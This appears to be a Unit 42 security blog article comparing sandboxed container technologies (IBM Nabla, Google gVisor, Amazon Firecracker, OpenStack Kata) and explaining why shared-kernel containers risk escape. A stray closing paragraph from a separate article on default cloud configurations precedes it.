Default configurations can be significant security risks for organizations. The research performed by Unit 42 demonstrated the ease of use in searching for default configurations and demonstrated how a potential attacker could leverage an open source tool like Shodan. Misconfigurations such as using default container names and leaving default service ports exposed to the public leave organizations vulnerable to targeted reconnaissance. Using the proper network policies, or firewalls can prevent internal resources from being exposed to the public internet. Additionally, investing in cloud security tools can alert organizations to risks within their current cloud infrastructure. With attacks like that of the Ladders data leakage, or the Docker Hub loss of keys and tokens, the risks facing organizations operating in the cloud are great.

Making Containers More Isolated: An Overview of Sandboxed Container Technologies

Posted on by Jay Chen

Executive Summary

While the majority of the IT industry is in the midst of adopting container-based infrastructure (cloud-native solution), it is imperative to understand the technology’s limitations. Traditional containers such as Docker, Linux Containers (LXC), and Rocket (rkt) are not truly sandboxed as they share the host OS kernel. They are resource-efficient, but the attack surface and the potential impact of a breach are still large, especially in a multi-tenant cloud environment that co-locate containers belonging to different customers. The root of the problem is the weak separation between containers when the host OS creates a virtualized userland for each container. There has been research and development focusing on designing truly sandboxed containers. Most of the solutions re-architect the boundary between the containers to fortify the isolation. This blog covers four unique projects from IBM, Google, Amazon, and OpenStack, respectively, that use different techniques to achieve the same goal, creating stronger isolation for containers. IBM Nabla builds containers on top of Unikernels, Google gVisor creates a specialized guest kernel for running containers, Amazon Firecracker is an extremely lightweight hypervisor for sandboxing applications, and OpenStack places containers in a specialized VM that is optimized for container orchestration platforms. The following overview of this state of the art research should help readers prepare for the upcoming transformation.

Overview of Current Container Technology

Containers are the modern way of packaging, sharing, and deploying an application. As opposed to a monolithic application in which all functionalities are packaged into a single software, containerized applications or microservices are designed to be single-purpose specializing in only one job. A container includes every dependency (e.g., packages, libraries, and binaries) that an application needs to perform its task. As a result, containerized applications are platform-agnostic and can run directly on any operating system regardless of its version or installed packages. This convenience saves developers tremendous effort of tailoring different versions of software for different platforms or customers. Although not entirely accurate, conceptually, many people like to think of containers as "lightweight virtual machines." When a container is deployed on a host, each container’s resources such as its file system, process, and network stack are placed in a virtually isolated environment which no other containers can access. This architecture allows hundreds or thousands of containers to run concurrently on the same cluster and each application (or microservice) can be easily scaled up by replicating more container instances.

Under the hood, the container evolvement is built on top of the two key building blocks, Linux namespace and Linux Control group (cgroup). Namespace creates a virtually isolated user space and gives an application its dedicated system resources such as file system, network stack, process id, and user id. In this isolated user space, the application controls the root directory of the file system starting with PID = 1 and may run as the root user. This abstracted userspace allows each application to run independently without interfering with other applications on the same host. There are currently six namespaces available: mount, inter-process communication (ipc), UNIX time-sharing system (uts), process id (pid), network, and user. Two additional namespaces, time and syslog, are proposed but the Linux community are still defining the specifications. Cgroup enforces hardware resources limitation, prioritization, accounting, and controlling of an application. Example hardware resources that cgroup can control are CPU, memory, device, and network. When putting namespace and cgroup together, we can securely run multiple applications on a single host with each application residing in its isolated environment. This is the fundamental property of a container.

The main difference between a virtual machine (VM) and a container is that the VM is a hardware-level virtualization and a container is a OS-level virtualization. VM hypervisor emulates a hardware environment for each VM, where the container runtime emulates an operating system for each container. VMs share the host’s physical hardware and containers share both the hardware and the host’s OS kernel. Because containers share more resources from the host, their usages of storage, memory, and CPU cycles are all much more efficient than a VM. However, the downside of more sharing is the weaker trust boundary between the containers and the host. Figure 1 illustrates the architectural difference between a container and a VM.

Figure 1. In machine virtualization, hypervisor or virtual machine monitor (VMM) provides the isolation between each guest OS.  In containers, the host operating system provides the isolation between each container.

* Only Type II VMM needs to run on operating system. Type I VMM runs on the physical hardware.

In general, virtualized hardware isolation creates a much stronger security boundary than namespace isolation. The risk of an attacker escaping a container (process) is much higher than the chance of escaping a VM. The reason for higher container escaping risk lies on the weak isolation that namespace and cgroup create. Linux implements namespace and cgroup by associating new property fields to each process. These fields under the /proc file system tell the host OS if one process can see the other or how much the CPU/Memory budget that the process can use. When viewing the running processes and threads from the host OS (e.g., top or ps commands), a container process looks just like any other process on the host. In general, traditional containers such as LXC or Docker are not considered truly sandboxed as containers on the same host share the same kernel. It is thus not surprising to see container escape vulnerabilities. For example, CVE-2014-3519, CVE-2016-5195, CVE-2016-9962, CVE-2017-5123, and CVE-2019-5736 can all lead to container breakout. Most kernel exploits should work for escaping containers as kernel exploits typically lead to privilege escalation and allow the compromised process to gain control outside its intended namespaces. Besides the attack vectors from software vulnerabilities, misconfiguration such as deploying a container with excessive privileges (e.g., CAP_SYS_ADMIN capability, privileged permission) or critical mount points (e.g., /var/run/docker.sock) may all lead to container escape. With these potential catastrophic outcomes, one should understand the risk when deploying containers in a multi-tenant cluster or having containers with sensitive data co-locate with other untrusted containers.

These security concerns motivate researchers to build stronger trust boundaries for containers. The idea is to create a real “sandboxed” container that is isolated from the host OS as much as possible. Most of the solutions involve creating a hybrid architecture that leverages the strong trust boundary from the VM and focus on better efficiency from the container. At the time of writing, there is no single project that is mature enough to be standardized, but the future container development will undoubtedly adopt some of these intriguing concepts. In the rest of the blog, we will go over several promising projects and compare their characteristics.

We start by introducing the Unikernel, the earliest single-purpose machine that packages the application with a minimal set of OS libraries into a single image. The concept of unikernel is fundamental to many future projects that aim to create secure, low-footprint, and optimized machine images. We then look at IBM Nabla, a project aiming to run unikernel applications like containers, and Google gVisor, a project that runs containers on a user-space kernel. After these two unikernel-like projects, we then move to VM-based container solutions, Amazon Firecracker and OpenStack Kata. The last section concludes the blog with a comparison of all the mentioned projects.

Unikernel

The advance of virtualization technologies has enabled the movement towards cloud computing. Hypervisors such as Xen and KVM are the fundamental building blocks that power Amazon Web Service (AWS) and Google Computing Platform (GCP). Although modern hypervisors are capable of handling hundreds of VMs in a cluster, VMs built from the traditional general-purpose operating systems are usually not optimized for running in a virtualization environment. A general-purpose OS is designed to support as many types of applications as possible, so its kernel includes all kinds of drivers, protocol libraries, and schedulers. However, most individual VMs deployed in the cloud today are dedicated to a single application such as DNS, proxy, or database. As each application only relies on a small subset of the kernel functions, the rest of the unused kernel functions waste the system resource and increase the attack surface. The larger the codebase is, the more vulnerabilities and bugs need to be managed. These problems motivate computer scientists to design single-purpose OSes with the minimal kernel functionalities to support just a single application.

Operating system researchers first proposed the idea of "Unikernel" in the 1990s. Unikernel is a specialized and single-address-space machine image that can run directly on hypervisors. It packages the application and the application-dependent kernel functions into an image. Nemesis and Exokernel are the two earliest academic unikernel projects. Figure 2 illustrates how a unikernel machine image is created and deployed.

Figure 2. Multi-purpose OSes are built to support all types of applications, so many libraries and drivers are preloaded. Unikernels are specialized single-purpose OSes that are built to support a single application.

Unikernels break the kernel into multiple libraries and place only the application-dependent libraries into a single machine image. Like VMs, unikernels are deployed and run on virtual machine monitors. Due to their small footprints, unikernels can boot and scale up quickly. Unikernels’ most essential properties are improved security, small footprint, high optimization, and fast boot. Because unikernel images contain only the application dependent libraries, and a shell is unavailable unless specifically included, it has minimal attack surface that attackers can leverage. Not only is getting a foothold in unikernels difficult for attackers, but the impact of a compromise is also limited to a single unikernel instance. Because the size of unikernel images is just a few megabytes, unikernels can boot in tens of milliseconds and hundreds of instances can be run on a single host. Using the single-address-space memory allocation instead of the multilevel page table in most of the modern OSes, unikernel applications have lower memory access latency than the same application running in a VM. Because applications are compiled with the kernel when building the image, compilers can perform more static type checking to optimize the binaries.

Unikernel.org maintains a list of the unikernel projects. With all these salient properties, unikernels, however, have not gained much traction. When Docker acquired a unikernel startup, Unikernel Systems, in 2016 people thought that Docker would package containers into unikernels. After 3 years, there is still no sign of any integration. One main reason for this slow adoption is that there is still no mature tool to build unikernel applications and most of the unikernel applications can only run on specific hypervisors. Furthermore, porting an application to unikernel may require recoding with different languages and manually including the dependent kernel libraries. Monitoring or debugging in unikernels is either impossible or causes a significant performance impact. All these limitations hold back developers from migrating to unikernels. One should note that unikernels and containers share many similar properties. Both unikernels and containers are single-purpose images that are immutable, meaning that components in images cannot be updated or patched, and a new image is always created for an updated application. Unikernels today are like the pre-Docker era when no container runtime was available and developers need to use the basic building blocks to sandbox an application: chroot, unshare, and cgroup.

IBM Nabla

Researchers from IBM have proposed the idea of "Unikernel as process": that is a unikernel application run as a process on a specialized virtual machine monitor. IBM’s project "Nabla containers" further hardens the unikernel trust boundary by replacing the general-purpose monitor (e.g., QEMU) with their unikernel-specific monitor Nabla Tender. The rationale is that the hypercalls between the unikernels and the general-purpose Virtual Machine Monitor (VMM) still pose a large attack surface, so using a unikernel-specific monitor with fewer allowed system calls can significantly improve the security. Nabla Tender intercepts the hypercalls that unikernels send to the VMM and translates them to system calls. The Linux seccomp policy blocks all other system calls that Tender does not need. A unikernel together with Nabla Tender then runs as a user space process on the host. Figure 3 shows how Nabla creates a thin interface between the unikernel applications and the host.

Figure 3. To interface Nabla with the existing container runtime platforms, Nabla implements the OCI compliant runtime runnc that can be plugged into platforms like Docker and Kubernetes. Image source: Unikernels as Process

The researchers claim that Nabla Tender uses less than seven syscalls to interface with the host. As syscalls serve as the bridge between the user space processes and the OS kernel, the fewer the available syscalls are, the smaller the attack surface exposed to the kernel. One additional benefit of running unikernel as a process is that the unikernel applications can be debugged with most process-based tools such as gdb.

To leverage the container orchestration platforms, Nabla also provides its Nabla runtime runnc that implements the Open Container Initiative (OCI) standard. The OCI standard specifies the API between runtime clients (e.g., Docker, Kubectl) and runtime (e.g., runc). Nabla also provides an image builder to create a unikernel image that runnc can execute. Due to the difference in file system between unikernels and traditional containers, Nabla images do not follow the OCI image specification and thus Docker images are not compatible with runnc. At the time of writing, the project is still in its early experimental stage. There are other limitations such as the lack of support for mounting/accessing host file systems, adding multiple network interfaces (needed for Kubernetes), or using images from other unikernel images (e.g., MirageOS and include OS).

Google gVisor

Google gVisor is the sandbox technology that powers Google Computing Platform’s (GPC) App Engine, Cloud Functions, and CloudML. Google realized the risk of running untrusted applications in the public cloud infrastructure and the inefficiency of sandboxing applications using VMs, and developed a user space kernel to sandbox the untrusted applications. gVisor sandboxes applications by intercepting all the system calls from applications to host kernel and handling them with gVisor's kernel implementation Sentry in user space. It essentially functions as a combination of guest kernel and VMM. Figure 4 shows gVisor's architecture.

Figure 4. gVisor kernel implementation Sentry and gVisor file system implementation Gofer use a small subset of syscalls to interface with the host. Image source: gVisor Architecture Guide, gVisor Overview and Platform

gVisor creates a strong security boundary between an application and its host. This boundary restricts the syscalls that applications in user space can use. Without relying on the virtualized hardware, gVisor runs as a host process that interfaces between the sandboxed application and the host. Sentry implements most of the Linux system calls and essential kernel functions such as signal delivery, memory management, network stack, and threading model. Sentry has implemented more than 70% of the 319 Linux syscalls to support the sandboxed applications. For Sentry to communicate with the host kernel, it only uses less than 20 Linux syscalls. It is worth noting that gVisor and Nabla share a very similar strategy: defending the host OS. Both of them use less than 10% of the Linux syscalls to interface with the host kernel. While gVisor creates a multi-purpose kernel and Nabla relies on the unikernels, they both run a specialized guest kernel in user space to support the sandboxed applications.

One may wonder why gVisor needs to re-implement another Linux kernel while the open-source Linux kernel is readily available. gVisor's kernel written in Golang is more secure than the Linux kernel written in C due to the strong type safety and memory management features in Golang. Another important selling point of gVisor is its tight integration with Docker, Kubernetes, and the OCI standard. Most of the Docker images can be simply pulled and run with gVisor by changing the runtime to gVisor runsc. In Kubernetes, instead of sandboxing each container, an entire pod can be run in a gVisor sandbox.

As gVisor is still in its infancy, there are still some limitations. There is always overhead when gVisor intercepts and handles a syscall made by the sandboxed application, so it is not suitable for syscall heavy applications. (Note that there is no such overhead in Nabla as unikernel applications don’t make syscalls. Nabla uses seven syscalls only to handle the hyercalls.) gVisor has no direct hardware access (passthrough), so applications that require hardware access such as GPU cannot run in gVisor. Finally, as gVisor has not implemented all the Linux syscalls, applications that use unimplemented syscalls can't run in gVisor.

Amazon Firecracker

Amazon Firecracker is the technology that powers AWS Lambda and AWS Fargate today. It is a VMM that creates lightweight virtual machines (MicroVMs) specifically for multi-tenant containers and serverless operational models. Before Firecracker was available, Lambda functions and Fargate containers were running inside dedicated EC2 VMs for each customer to ensure the strong isolation. Although VMs create strong isolation for containers in public cloud, using general-purpose VMMs and VMs for sandboxing applications is not very resource-efficient. Firecracker solves both the security and performance issues by creating a VMM specifically for cloud-native applications. Firecracker VMM provides each guest VM with the minimal OS functionalities and emulated devices to enhance both the security and performance. Users can easily build VM images that run on Firecracker with a Linux kernel binary and ext4 file system image. Amazon started developing Firecracker in 2017 and made it open source in 2018.

Similar to the unikernel concept, only a small subset of the devices and functionalities are provisioned to support the container operations. Compared to traditional VMs, microVMs have a much smaller attack surface, memory footprint, and boot time. Evaluation shows that a Firecracker microVM consumes ~5 MB memory and boots up in ~125 ms when running on a 2 CPU and 256G RAM host.  Figure 5 shows the Firecracker architecture and its security boundary.

Figure 5. Firecracker VMM enforces layers of security boundary to isolate each user’s applications. Image source: Firecracker Design

Firecracker VMM relies on KVM and each Firecracker instance runs as a user space process. Each Firecracker process is locked down by the seccomp, cgroup, and namespace policies so that the system calls, hardware resource, file system, and network activities are strictly limited. There are multiple threads inside each Firecracker process. API thread provides the control plane between the clients on the host and the microVM. VMM thread provides a minimal set of virtIO devices (net and block). Firecracker provisioned only four emulated devices for each microVM: virtio-block, virtio-net, serial console, and a 1-button keyboard controller used only to stop the microVM. For security purpose, VMs do not have a mechanism to share files with the host. The data on the host such as container images are exposed to microVMs through File Block Devices. The network interfaces for VMs are backed by the tap devices over a network bridge. All the outbound packets are copied to the tap device and rate-limited by cgroup policy. The layers of security boundary minimize the chance of having one user’s applications disrupt the other’s.  

At the time of writing, Firecracker has not yet fully integrated with Docker and Kubernetes. Firecracker does not support hardware passthrough, so applications that need GPU or any device accelerator access are not compatible. It has limited VM-to-host file sharing and networking models as well. However, as the project is backed by a large community, it should be soon interfaced with the OCI standard and supports more applications.

OpenStack Kata

Seeing the security concerns of the traditional containers, Intel launched their VM-based container technology Clear Containers in 2015. Clear containers rely on the Intel® VT hardware-based virtualization technology and a highly-customized QEMU-KVM hypervisor qemu-lite to realize a high performance VM-based container. At the end of 2017, Clear containers project joined with Hyper RunV, a hypervisor-based runtime for OCI, to initiate the Kata containers project. Inheriting all the properties of the Clear Containers, Kata Containers now support a wider variety of infrastructures and container specifications.

Kata container is fully integrated with OCI, Container Runtime Interface (CRI), and Container Networking Interface (CNI). It supports various types of networking models (e.g., passthrough, MacVTap, bridge, tc mirroring) and configurable guest kernels so that the applications requiring special networking models or kernel versions can all run on it. Figure 6 shows how containers inside Kata VMs interact with the existing orchestration platforms.

Figure 6. Kata containers are fully integrated with Docker and Kubernetes. Image source: An overview of the Kata Containers project

Kata has a kata-runtime on the host to start and configure new containers. For each container in Kata VM, there is a corresponding Kata Shim on the host. Kata Shim receives API requests from the clients (e.g., docker or kubectl) and forwards the requests to the agent inside the Kata VM through VSock. Kata containers further make several optimizations to reduce the VM boot time. NEMU is a lightweight version of QEMU with ~80% of devices and packages removed. VM-Templating creates a clone of running Kata VM instance and shares it with other newly created Kata VMs. It significantly reduces the boot time and guest VM memory consumption but may be vulnerable to cross-VM side-channel attack like CVE-2015-2877. Hotplug capability allows a VM to boot with the minimal resources (e.g., CPU, memory, virtio block) and add additional resources later when requested.  

Kata containers and Firecracker are both VM-based sandbox technology designed for cloud-native applications. They share the same goal but take very different approaches. Firecracker is a specialized VMM that creates a secure virtualization environment for guest OSes while Kata containers are lightweight VMs that are highly optimized for running containers. There has been efforts to run Kata containers on the Firecracker VMM. While the project is still experimental, it can potentially bring together the best features of the two projects.

Conclusion

We have looked at several solutions that tackle the current container technology’s weak isolation issue. IBM Nabla is a unikernel-based solution that packages applications into a specialized VM. Google gVisor is a merge of a specialized hypervisor and guest OS kernel that provides a secure interface between the applications and their host. Amazon Firecracker is a specialized hypervisor that provisions each guest OS a minimal set of hardware and kernel resources. OpenStack Kata is a highly optimized VM with built-in container engine that can run on hypervisors. It is difficult to say which one works best as they all have different pros and cons. Table 1 shows a side-by-side comparison of some important features across all four projects. Nabla is your best choice if you have applications running in unikernels such as MirageOS or IncludeOS. gVisor is currently integrated best with Docker and Kubernetes, but due to its incomplete system call coverage, some applications still cannot run on it. Firecracker supports customized guest OS images, so it is a good choice if your applications need to run in a customized VM. Kata containers are fully compliant with the OCI standard and can run on both KVM and Xen hypervisor. It can simplify deploying microservices in an environment of hybrid platforms.  While it may take some time for one or multiple solutions to eventually be adopted by the mainstream, it is positive to see that most cloud providers have taken action on mitigating the issue. For organizations who are building on-premises cloud-native platforms, it is not the end of the world. Common practices such as patching quickly, least privilege configuration, and network segmentation can all effectively reduce the attack surface.

 

Table 1. A comparison of all four platforms.

Get the latest news, invites to events, and threat alerts

Default Heading

Read the article Right Arrow